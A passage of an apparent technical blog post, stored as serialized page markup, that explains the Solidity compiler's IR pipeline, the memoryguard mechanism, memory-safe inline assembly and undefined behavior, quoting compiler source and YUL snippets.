",{"type":23,"tag":181,"props":31386,"children":31389},{"href":31387,"rel":31388},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[185],[31390],{"type":29,"value":31391},"released in v0.8.13",{"type":29,"value":31393},". Compilation happens ",{"type":23,"tag":181,"props":31395,"children":31398},{"href":31396,"rel":31397},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[185],[31399],{"type":29,"value":31400},"in two main steps",{"type":29,"value":218},{"type":23,"tag":144,"props":31403,"children":31404},{},[31405,31410],{"type":23,"tag":102,"props":31406,"children":31407},{},[31408],{"type":29,"value":31409},"Solidity to YUL IR",{"type":23,"tag":102,"props":31411,"children":31412},{},[31413],{"type":29,"value":31414},"YUL IR to EVM opcodes",{"type":23,"tag":220,"props":31416,"children":31420},{"className":31417,"code":31418,"language":31419,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark","    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n","cpp",[31421],{"type":23,"tag":71,"props":31422,"children":31423},{"__ignoreMap":7},[31424,31454,31475,31487,31495,31507,31527,31535,31556],{"type":23,"tag":230,"props":31425,"children":31426},{"class":232,"line":233},[31427,31431,31436,31440,31445,31449],{"type":23,"tag":230,"props":31428,"children":31429},{"style":866},[31430],{"type":29,"value":1493},{"type":23,"tag":230,"props":31432,"children":31433},{"style":274},[31434],{"type":29,"value":31435}," (m_viaIR ",{"type":23,"tag":230,"props":31437,"children":31438},{"style":268},[31439],{"type":29,"value":24733},{"type":23,"tag":230,"props":31441,"children":31442},{"style":274},[31443],{"type":29,"value":31444}," m_generateIR ",{"type":23,"tag":230,"props":31446,"children":31447},{"style":268},[31448],{"type":29,"value":24733},{"type":23,"tag":230,"props":31450,"children":31451},{"style":274},[31452],{"type":29,"value":31453}," m_generateEwasm)\n",{"type":23,"tag":230,"props":31455,"children":31456},{"class":232,"line":243},[31457,31462,31466,31470],{"type":23,"tag":230,"props":31458,"children":31459},{"style":294},[31460],{"type":29,"value":31461},"        generateIR",{"type":23,"tag":230,"props":31463,"children":31464},{"style":274},[31465],{"type":29,"value":302},{"type":23,"tag":230,"props":31467,"children":31468},{"style":268},[31469],{"type":29,"value":6909},{"type":23,"tag":230,"props":31471,"children":31472},{"style":274},[31473],{"type":29,"value":31474},"contract);\n",{"type":23,"tag":230,"props":31476,"children":31477},{"class":232,"line":252},[31478,31482],{"type":23,"tag":230,"props":31479,"children":31480},{"style":866},[31481],{"type":29,"value":1493},{"type":23,"tag":230,"props":31483,"children":31484},{"style":274},[31485],{"type":29,"value":31486}," (m_generateEvmBytecode)\n",{"type":23,"tag":230,"props":31488,"children":31489},{"class":232,"line":280},[31490],{"type":23,"tag":230,"props":31491,"children":31492},{"style":274},[31493],{"type":29,"value":31494},"    {\n",{"type":23,"tag":230,"props":31496,"children":31497},{"class":232,"line":334},[31498,31502],{"type":23,"tag":230,"props":31499,"children":31500},{"style":866},[31501],{"type":29,"value":5611},{"type":23,"tag":230,"props":31503,"children":31504},{"style":274},[31505],{"type":29,"value":31506}," (m_viaIR)\n",{"type":23,"tag":230,"props":31508,"children":31509},{"class":232,"line":371},[31510,31515,31519,31523],{"type":23,"tag":230,"props":31511,"children":31512},{"style":294},[31513],{"type":29,"value":31514},"            generateEVMFromIR",{"type":23,"tag":230,"props":31516,"children":31517},{"style":274},[31518],{"type":29,"value":302},{"type":23,"tag":230,"props":31520,"children":31521},{"style":268},[31522],{"type":29,"value":6909},{"type":23,"tag":230,"props":31524,"children":31525},{"style":274},[31526],{"type":29,"value":31474},{"type":23,"tag":230,"props":31528,"children":31529},{"class":232,"line":391},[31530],{"type":23,"tag":230,"props":31531,"children":31532},{"style":866},[31533],{"type":29,"value":31534},"        else\n",{"type":23,"tag":230,"props":31536,"children":31537},{"class":232,"line":400},[31538,31543,31547,31551],{"type":23,"tag":230,"props":31539,"children":31540},{"style":294},[31541],{"type":29,"value":31542},"            compileContract",{"type":23,"tag":230,"props":31544,"children":31545},{"style":274},[31546],{"type":29,"value":302},{"type":23,"tag":230,"props":31548,"children":31549},{"style":268},[31550],{"type":29,"value":6909},{"type":23,"tag":230,"props":31552,"children":31553},{"style":274},[31554],{"type":29,"value":31555},"contract, otherCompilers);\n",{"type":23,"tag":230,"props":31557,"children":31558},{"class":232,"line":444},[31559],{"type":23,"tag":230,"props":31560,"children":31561},{"style":274},[31562],{"type":29,"value":1552},{"type":23,"tag":32,"props":31564,"children":31565},{},[31566,31568,31575,31576,31583],{"type":29,"value":31567},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":23,"tag":181,"props":31569,"children":31572},{"href":31570,"rel":31571},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[185],[31573],{"type":29,"value":31574},"YulStack::optimize",{"type":29,"value":112},{"type":23,"tag":181,"props":31577,"children":31580},{"href":31578,"rel":31579},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[185],[31581],{"type":29,"value":31582},"Assembly::optimize",{"type":29,"value":312},{"type":23,"tag":32,"props":31585,"children":31586},{},[31587],{"type":29,"value":31588},"In total, there are four steps.",{"type":23,"tag":144,"props":31590,"children":31591},{},[31592,31596,31601,31605],{"type":23,"tag":102,"props":31593,"children":31594},{},[31595],{"type":29,"value":31409},{"type":23,"tag":102,"props":31597,"children":31598},{},[31599],{"type":29,"value":31600},"Optimization of YUL IR",{"type":23,"tag":102,"props":31602,"children":31603},{},[31604],{"type":29,"value":31414},{"type":23,"tag":102,"props":31606,"children":31607},{},[31608],{"type":29,"value":31609},"Optimization of EVM opcodes",{"type":23,"tag":32,"props":31611,"children":31612},{},[31613],{"type":29,"value":31614},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":23,"tag":5272,"props":31616,"children":31617},{},[31618],{"type":23,"tag":32,"props":31619,"children":31620},{},[31621],{"type":29,"value":31622},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":23,"tag":32,"props":31624,"children":31625},{},[31626],{"type":29,"value":31627},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":23,"tag":32,"props":31629,"children":31630},{},[31631],{"type":29,"value":31632},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":23,"tag":32,"props":31634,"children":31635},{},[31636],{"type":29,"value":31637},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":23,"tag":24,"props":31639,"children":31641},{"id":31640},"guarantees",[31642],{"type":29,"value":31643},"Guarantees",{"type":23,"tag":32,"props":31645,"children":31646},{},[31647,31648,31655,31657,31662],{"type":29,"value":980},{"type":23,"tag":181,"props":31649,"children":31652},{"href":31650,"rel":31651},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[185],[31653],{"type":29,"value":31654},"Solidity memory layout",{"type":29,"value":31656}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":23,"tag":2258,"props":31658,"children":31659},{},[31660],{"type":29,"value":31661},"no information about this layout",{"type":29,"value":312},{"type":23,"tag":32,"props":31664,"children":31665},{},[31666],{"type":29,"value":31667},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":23,"tag":32,"props":31669,"children":31670},{},[31671,31673,31679,31681,31687],{"type":29,"value":31672},"Introducing ",{"type":23,"tag":71,"props":31674,"children":31676},{"className":31675},[],[31677],{"type":29,"value":31678},"memoryguard",{"type":29,"value":31680},". If you've ever looked at the output of ",{"type":23,"tag":71,"props":31682,"children":31684},{"className":31683},[],[31685],{"type":29,"value":31686},"solc --ir",{"type":29,"value":31688},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":23,"tag":220,"props":31690,"children":31692},{"className":6813,"code":31691,"language":6812,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[31693],{"type":23,"tag":71,"props":31694,"children":31695},{"__ignoreMap":7},[31696,31714],{"type":23,"tag":230,"props":31697,"children":31698},{"class":232,"line":233},[31699,31704,31709],{"type":23,"tag":230,"props":31700,"children":31701},{"style":237},[31702],{"type":29,"value":31703},"    /// @src 0:26:371  \"contract ",{"type":23,"tag":230,"props":31705,"children":31706},{"style":256},[31707],{"type":29,"value":31708},"XXX",{"type":23,"tag":230,"props":31710,"children":31711},{"style":237},[31712],{"type":29,"value":31713}," {...\"\n",{"type":23,"tag":230,"props":31715,"children":31716},{"class":232,"line":243},[31717,31722,31726,31731,31735,31739,31743,31748],{"type":23,"tag":230,"props":31718,"children":31719},{"style":294},[31720],{"type":29,"value":31721},"    store",{"type":23,"tag":230,"props":31723,"children":31724},{"style":274},[31725],{"type":29,"value":302},{"type":23,"tag":230,"props":31727,"children":31728},{"style":5149},[31729],{"type":29,"value":31730},"64",{"type":23,"tag":230,"props":31732,"children":31733},{"style":274},[31734],{"type":29,"value":684},{"type":23,"tag":230,"props":31736,"children":31737},{"style":294},[31738],{"type":29,"value":31678},{"type":23,"tag":230,"props":31740,"children":31741},{"style":274},[31742],{"type":29,"value":302},{"type":23,"tag":230,"props":31744,"children":31745},{"style":5149},[31746],{"type":29,"value":31747},"0x80",{"type":23,"tag":230,"props":31749,"children":31750},{"style":274},[31751],{"type":29,"value":22026},{"type":23,"tag":32,"props":31753,"children":31754},{},[31755,31757,31764],{"type":29,"value":31756},"From ",{"type":23,"tag":181,"props":31758,"children":31761},{"href":31759,"rel":31760},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[185],[31762],{"type":29,"value":31763},"the documentation",{"type":29,"value":6461},{"type":23,"tag":5272,"props":31766,"children":31767},{},[31768],{"type":23,"tag":32,"props":31769,"children":31770},{},[31771,31773,31779,31781,31787,31789,31794],{"type":29,"value":31772},"The caller of ",{"type":23,"tag":71,"props":31774,"children":31776},{"className":31775},[],[31777],{"type":29,"value":31778},"let ptr := memoryguard(size)",{"type":29,"value":31780}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":23,"tag":71,"props":31782,"children":31784},{"className":31783},[],[31785],{"type":29,"value":31786},"[0, size)",{"type":29,"value":31788}," or the unbounded range starting at ",{"type":23,"tag":71,"props":31790,"children":31792},{"className":31791},[],[31793],{"type":29,"value":16276},{"type":29,"value":312},{"type":23,"tag":32,"props":31796,"children":31797},{},[31798,31800,31805,31807,31813],{"type":29,"value":31799},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":23,"tag":71,"props":31801,"children":31803},{"className":31802},[],[31804],{"type":29,"value":31678},{"type":29,"value":31806}," return ",{"type":23,"tag":71,"props":31808,"children":31810},{"className":31809},[],[31811],{"type":29,"value":31812},"size + 32",{"type":29,"value":31814},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":23,"tag":32,"props":31816,"children":31817},{},[31818,31820,31827,31829,31834,31836,31841],{"type":29,"value":31819},"An example of this optimization in practice ",{"type":23,"tag":181,"props":31821,"children":31824},{"href":31822,"rel":31823},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[185],[31825],{"type":29,"value":31826},"is the StackLimitEvader",{"type":29,"value":31828},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":23,"tag":2258,"props":31830,"children":31831},{},[31832],{"type":29,"value":31833},"only",{"type":29,"value":31835}," optimization pass that relies on the semantic information communicated by ",{"type":23,"tag":71,"props":31837,"children":31839},{"className":31838},[],[31840],{"type":29,"value":31678},{"type":29,"value":312},{"type":23,"tag":32,"props":31843,"children":31844},{},[31845],{"type":29,"value":31846},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":23,"tag":32,"props":31848,"children":31849},{},[31850,31852,31858],{"type":29,"value":31851},"Fear not, for we can remove this pointer entirely and call ",{"type":23,"tag":71,"props":31853,"children":31855},{"className":31854},[],[31856],{"type":29,"value":31857},"memoryguard(0x60)",{"type":29,"value":31859}," instead. The rest of the pipeline will still work.",{"type":23,"tag":24,"props":31861,"children":31862},{"id":31371},[31863],{"type":29,"value":31864},"Memory Safety",{"type":23,"tag":32,"props":31866,"children":31867},{},[31868],{"type":29,"value":31869},"So what does memory safety mean?",{"type":23,"tag":32,"props":31871,"children":31872},{},[31873,31875,31881],{"type":29,"value":31874},"The Solidity documentation provides ",{"type":23,"tag":181,"props":31876,"children":31878},{"href":31346,"rel":31877},[185],[31879],{"type":29,"value":31880},"a set of constraints",{"type":29,"value":31882},", not a definition.",{"type":23,"tag":5272,"props":31884,"children":31885},{},[31886,31891],{"type":23,"tag":32,"props":31887,"children":31888},{},[31889],{"type":29,"value":31890},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":23,"tag":144,"props":31892,"children":31893},{},[31894,31899,31904,31909],{"type":23,"tag":102,"props":31895,"children":31896},{},[31897],{"type":29,"value":31898},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":23,"tag":102,"props":31900,"children":31901},{},[31902],{"type":29,"value":31903},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":23,"tag":102,"props":31905,"children":31906},{},[31907],{"type":29,"value":31908},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":23,"tag":102,"props":31910,"children":31911},{},[31912],{"type":29,"value":31913},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":23,"tag":32,"props":31915,"children":31916},{},[31917,31919,31926,31936],{"type":29,"value":31918},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":23,"tag":181,"props":31920,"children":31923},{"href":31921,"rel":31922},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[185],[31924],{"type":29,"value":31925},"removes the memory guard",{"type":23,"tag":17798,"props":31927,"children":31928},{},[31929],{"type":23,"tag":181,"props":31930,"children":31934},{"href":31931,"ariaDescribedBy":31932,"dataFootnoteRef":7,"id":31933},"#user-content-fn-1",[17805],"user-content-fnref-1",[31935],{"type":29,"value":6348},{"type":29,"value":312},{"type":23,"tag":220,"props":31938,"children":31940},{"className":31417,"code":31939,"language":31419,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  }\n",[31941],{"type":23,"tag":71,"props":31942,"children":31943},{"__ignoreMap":7},[31944,31952,31960,31967,32002,32009,32017,32025,32033,32041,32049,32062,32075,32083],{"type":23,"tag":230,"props":31945,"children":31946},{"class":232,"line":233},[31947],{"type":23,"tag":230,"props":31948,"children":31949},{"style":237},[31950],{"type":29,"value":31951},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":23,"tag":230,"props":31953,"children":31954},{"class":232,"line":243},[31955],{"type":23,"tag":230,"props":31956,"children":31957},{"style":237},[31958],{"type":29,"value":31959},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":23,"tag":230,"props":31961,"children":31962},{"class":232,"line":252},[31963],{"type":23,"tag":230,"props":31964,"children":31965},{"emptyLinePlaceholder":18},[31966],{"type":29,"value":459},{"type":23,"tag":230,"props":31968,"children":31969},{"class":232,"line":280},[31970,31974,31979,31984,31988,31993,31998],{"type":23,"tag":230,"props":31971,"children":31972},{"style":676},[31973],{"type":29,"value":1050},{"type":23,"tag":230,"props":31975,"children":31976},{"style":274},[31977],{"type":29,"value":31978}," IRGenerator::",{"type":23,"tag":230,"props":31980,"children":31981},{"style":294},[31982],{"type":29,"value":31983},"memoryInit",{"type":23,"tag":230,"props":31985,"children":31986},{"style":274},[31987],{"type":29,"value":302},{"type":23,"tag":230,"props":31989,"children":31990},{"style":256},[31991],{"type":29,"value":31992},"bool",{"type":23,"tag":230,"props":31994,"children":31995},{"style":262},[31996],{"type":29,"value":31997}," _useMemoryGuard",{"type":23,"tag":230,"props":31999,"children":32000},{"style":274},[32001],{"type":29,"value":4516},{"type":23,"tag":230,"props":32003,"children":32004},{"class":232,"line":334},[32005],{"type":23,"tag":230,"props":32006,"children":32007},{"style":274},[32008],{"type":29,"value":13211},{"type":23,"tag":230,"props":32010,"children":32011},{"class":232,"line":371},[32012],{"type":23,"tag":230,"props":32013,"children":32014},{"style":237},[32015],{"type":29,"value":32016}," // This function should be called at the beginning of the EVM call frame\n",{"type":23,"tag":230,"props":32018,"children":32019},{"class":232,"line":391},[32020],{"type":23,"tag":230,"props":32021,"children":32022},{"style":237},[32023],{"type":29,"value":32024}," // and thus can assume all memory to be zero, including the contents of\n",{"type":23,"tag":230,"props":32026,"children":32027},{"class":232,"line":400},[32028],{"type":23,"tag":230,"props":32029,"children":32030},{"style":237},[32031],{"type":29,"value":32032}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":23,"tag":230,"props":32034,"children":32035},{"class":232,"line":444},[32036],{"type":23,"tag":230,"props":32037,"children":32038},{"style":866},[32039],{"type":29,"value":32040}," return\n",{"type":23,"tag":230,"props":32042,"children":32043},{"class":232,"line":453},[32044],{"type":23,"tag":230,"props":32045,"children":32046},{"style":274},[32047],{"type":29,"value":32048},"  Whiskers{\n",{"type":23,"tag":230,"props":32050,"children":32051},{"class":232,"line":462},[32052,32057],{"type":23,"tag":230,"props":32053,"children":32054},{"style":274},[32055],{"type":29,"value":32056},"   _useMemoryGuard ",{"type":23,"tag":230,"props":32058,"children":32059},{"style":268},[32060],{"type":29,"value":32061},"?\n",{"type":23,"tag":230,"props":32063,"children":32064},{"class":232,"line":471},[32065,32070],{"type":23,"tag":230,"props":32066,"children":32067},{"style":380},[32068],{"type":29,"value":32069},"   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":23,"tag":230,"props":32071,"children":32072},{"style":268},[32073],{"type":29,"value":32074}," :\n",{"type":23,"tag":230,"props":32076,"children":32077},{"class":232,"line":500},[32078],{"type":23,"tag":230,"props":32079,"children":32080},{"style":380},[32081],{"type":29,"value":32082},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":23,"tag":230,"props":32084,"children":32085},{"class":232,"line":514},[32086],{"type":23,"tag":230,"props":32087,"children":32088},{"style":274},[32089],{"type":29,"value":1331},{"type":23,"tag":32,"props":32091,"children":32092},{},[32093,32098,32100,32106],{"type":23,"tag":71,"props":32094,"children":32096},{"className":32095},[],[32097],{"type":29,"value":31686},{"type":29,"value":32099}," will now no longer have ",{"type":23,"tag":71,"props":32101,"children":32103},{"className":32102},[],[32104],{"type":29,"value":32105},"memoryguard(0x80)",{"type":29,"value":32107}," as expected.",{"type":23,"tag":220,"props":32109,"children":32111},{"className":6813,"code":32110,"language":6812,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    mstore(64, 128)\n",[32112],{"type":23,"tag":71,"props":32113,"children":32114},{"__ignoreMap":7},[32115,32130],{"type":23,"tag":230,"props":32116,"children":32117},{"class":232,"line":233},[32118,32122,32126],{"type":23,"tag":230,"props":32119,"children":32120},{"style":237},[32121],{"type":29,"value":31703},{"type":23,"tag":230,"props":32123,"children":32124},{"style":256},[32125],{"type":29,"value":31708},{"type":23,"tag":230,"props":32127,"children":32128},{"style":237},[32129],{"type":29,"value":31713},{"type":23,"tag":230,"props":32131,"children":32132},{"class":232,"line":243},[32133,32138,32142,32146,32150,32155],{"type":23,"tag":230,"props":32134,"children":32135},{"style":294},[32136],{"type":29,"value":32137},"    mstore",{"type":23,"tag":230,"props":32139,"children":32140},{"style":274},[32141],{"type":29,"value":302},{"type":23,"tag":230,"props":32143,"children":32144},{"style":5149},[32145],{"type":29,"value":31730},{"type":23,"tag":230,"props":32147,"children":32148},{"style":274},[32149],{"type":29,"value":684},{"type":23,"tag":230,"props":32151,"children":32152},{"style":5149},[32153],{"type":29,"value":32154},"128",{"type":23,"tag":230,"props":32156,"children":32157},{"style":274},[32158],{"type":29,"value":4516},{"type":23,"tag":32,"props":32160,"children":32161},{},[32162,32164,32169,32171,32176],{"type":29,"value":32163},"Semantically, the absence of ",{"type":23,"tag":71,"props":32165,"children":32167},{"className":32166},[],[32168],{"type":29,"value":31678},{"type":29,"value":32170}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":23,"tag":71,"props":32172,"children":32174},{"className":32173},[],[32175],{"type":29,"value":31678},{"type":29,"value":32177}," invariant.",{"type":23,"tag":5272,"props":32179,"children":32180},{},[32181],{"type":23,"tag":32,"props":32182,"children":32183},{},[32184,32185,32190,32191,32196,32197,32202],{"type":29,"value":31772},{"type":23,"tag":71,"props":32186,"children":32188},{"className":32187},[],[32189],{"type":29,"value":31778},{"type":29,"value":31780},{"type":23,"tag":71,"props":32192,"children":32194},{"className":32193},[],[32195],{"type":29,"value":31786},{"type":29,"value":31788},{"type":23,"tag":71,"props":32198,"children":32200},{"className":32199},[],[32201],{"type":29,"value":16276},{"type":29,"value":312},{"type":23,"tag":32,"props":32204,"children":32205},{},[32206],{"type":29,"value":32207},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":23,"tag":24,"props":32209,"children":32211},{"id":32210},"undefined-behavior",[32212],{"type":29,"value":32213},"Undefined Behavior",{"type":23,"tag":32,"props":32215,"children":32216},{},[32217,32219,32224,32226,32231,32233,32239],{"type":29,"value":32218},"How strict is memory safety? When it comes to ",{"type":23,"tag":71,"props":32220,"children":32222},{"className":32221},[],[32223],{"type":29,"value":31678},{"type":29,"value":32225},", only touching memory after 0x80 seems to matter. Is ",{"type":23,"tag":71,"props":32227,"children":32229},{"className":32228},[],[32230],{"type":29,"value":31336},{"type":29,"value":32232}," annotated assembly that touches memory at ",{"type":23,"tag":71,"props":32234,"children":32236},{"className":32235},[],[32237],{"type":29,"value":32238},"[0x40, 0x7f]",{"type":29,"value":32240}," really safe?",{"type":23,"tag":32,"props":32242,"children":32243},{},[32244,32245,32252,32254,32259],{"type":29,"value":980},{"type":23,"tag":181,"props":32246,"children":32249},{"href":32247,"rel":32248},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[185],[32250],{"type":29,"value":32251},"Solidity documentation",{"type":29,"value":32253}," mentions ",{"type":23,"tag":2258,"props":32255,"children":32256},{},[32257],{"type":29,"value":32258},"undefined behavior",{"type":29,"value":32260}," three times.",{"type":23,"tag":144,"props":32262,"children":32263},{},[32264,32269,32284],{"type":23,"tag":102,"props":32265,"children":32266},{},[32267],{"type":29,"value":32268},"The existence of a dangling reference",{"type":23,"tag":102,"props":32270,"children":32271},{},[32272,32274],{"type":29,"value":32273},"Using verbatim improperly",{"type":23,"tag":17798,"props":32275,"children":32276},{},[32277],{"type":23,"tag":181,"props":32278,"children":32282},{"href":32279,"ariaDescribedBy":32280,"dataFootnoteRef":7,"id":32281},"#user-content-fn-2",[17805],"user-content-fnref-2",[32283],{"type":29,"value":5462},{"type":23,"tag":102,"props":32285,"children":32286},{},[32287],{"type":29,"value":32288},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":23,"tag":32,"props":32290,"children":32291},{},[32292],{"type":29,"value":32293},"Why does this matter?",{"type":23,"tag":32,"props":32295,"children":32296},{},[32297,32299,32306,32308,32315],{"type":29,"value":32298},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":23,"tag":181,"props":32300,"children":32303},{"href":32301,"rel":32302},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[185],[32304],{"type":29,"value":32305},"signed integer overflow is undefined",{"type":29,"value":32307},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":23,"tag":181,"props":32309,"children":32312},{"href":32310,"rel":32311},"https://blog.regehr.org/archives/1307",[185],[32313],{"type":29,"value":32314},"years down the line",{"type":29,"value":312},{"type":23,"tag":32,"props":32317,"children":32318},{},[32319,32321,32328,32329,32334],{"type":29,"value":32320},"Going back to Solidity, the specification makes ",{"type":23,"tag":181,"props":32322,"children":32325},{"href":32323,"rel":32324},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[185],[32326],{"type":29,"value":32327},"it unambiguously clear",{"type":29,"value":20851},{"type":23,"tag":2258,"props":32330,"children":32331},{},[32332],{"type":29,"value":32333},"Thou shalt not modify the zero slot",{"type":29,"value":312},{"type":23,"tag":5272,"props":32336,"children":32337},{},[32338],{"type":23,"tag":32,"props":32339,"children":32340},{},[32341],{"type":29,"value":32342},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":23,"tag":32,"props":32344,"children":32345},{},[32346,32348,32353],{"type":29,"value":32347},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":23,"tag":2258,"props":32349,"children":32350},{},[32351],{"type":29,"value":32352},"in Solidity",{"type":29,"value":312},{"type":23,"tag":32,"props":32355,"children":32356},{},[32357],{"type":29,"value":32358},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":23,"tag":144,"props":32360,"children":32361},{},[32362],{"type":23,"tag":102,"props":32363,"children":32364},{},[32365,32367,32374],{"type":29,"value":32366},"It very clearly ",{"type":23,"tag":181,"props":32368,"children":32371},{"href":32369,"rel":32370},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[185],[32372],{"type":29,"value":32373},"holds true today",{"type":29,"value":312},{"type":23,"tag":220,"props":32376,"children":32378},{"className":31417,"code":32377,"language":31419,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[32379],{"type":23,"tag":71,"props":32380,"children":32381},{"__ignoreMap":7},[32382,32422,32429,32442,32514,32535,32586,32593],{"type":23,"tag":230,"props":32383,"children":32384},{"class":232,"line":233},[32385,32389,32394,32399,32403,32408,32413,32418],{"type":23,"tag":230,"props":32386,"children":32387},{"style":256},[32388],{"type":29,"value":31992},{"type":23,"tag":230,"props":32390,"children":32391},{"style":274},[32392],{"type":29,"value":32393}," IRGeneratorForStatements::",{"type":23,"tag":230,"props":32395,"children":32396},{"style":294},[32397],{"type":29,"value":32398},"visit",{"type":23,"tag":230,"props":32400,"children":32401},{"style":274},[32402],{"type":29,"value":302},{"type":23,"tag":230,"props":32404,"children":32405},{"style":676},[32406],{"type":29,"value":32407},"InlineAssembly",{"type":23,"tag":230,"props":32409,"children":32410},{"style":256},[32411],{"type":29,"value":32412}," const&",{"type":23,"tag":230,"props":32414,"children":32415},{"style":262},[32416],{"type":29,"value":32417}," _inlineAsm",{"type":23,"tag":230,"props":32419,"children":32420},{"style":274},[32421],{"type":29,"value":4516},{"type":23,"tag":230,"props":32423,"children":32424},{"class":232,"line":243},[32425],{"type":23,"tag":230,"props":32426,"children":32427},{"style":274},[32428],{"type":29,"value":13211},{"type":23,"tag":230,"props":32430,"children":32431},{"class":232,"line":252},[32432,32437],{"type":23,"tag":230,"props":32433,"children":32434},{"style":294},[32435],{"type":29,"value":32436},"    setLocation",{"type":23,"tag":230,"props":32438,"children":32439},{"style":274},[32440],{"type":29,"value":32441},"(_inlineAsm);\n",{"type":23,"tag":230,"props":32443,"children":32444},{"class":232,"line":280},[32445,32449,32453,32457,32462,32466,32471,32476,32481,32485,32489,32493,32497,32501,32505,32510],{"type":23,"tag":230,"props":32446,"children":32447},{"style":866},[32448],{"type":29,"value":1493},{"type":23,"tag":230,"props":32450,"children":32451},{"style":274},[32452],{"type":29,"value":664},{"type":23,"tag":230,"props":32454,"children":32455},{"style":268},[32456],{"type":29,"value":6909},{"type":23,"tag":230,"props":32458,"children":32459},{"style":262},[32460],{"type":29,"value":32461},"_inlineAsm",{"type":23,"tag":230,"props":32463,"children":32464},{"style":274},[32465],{"type":29,"value":312},{"type":23,"tag":230,"props":32467,"children":32468},{"style":294},[32469],{"type":29,"value":32470},"annotation",{"type":23,"tag":230,"props":32472,"children":32473},{"style":274},[32474],{"type":29,"value":32475},"().",{"type":23,"tag":230,"props":32477,"children":32478},{"style":262},[32479],{"type":29,"value":32480},"hasMemory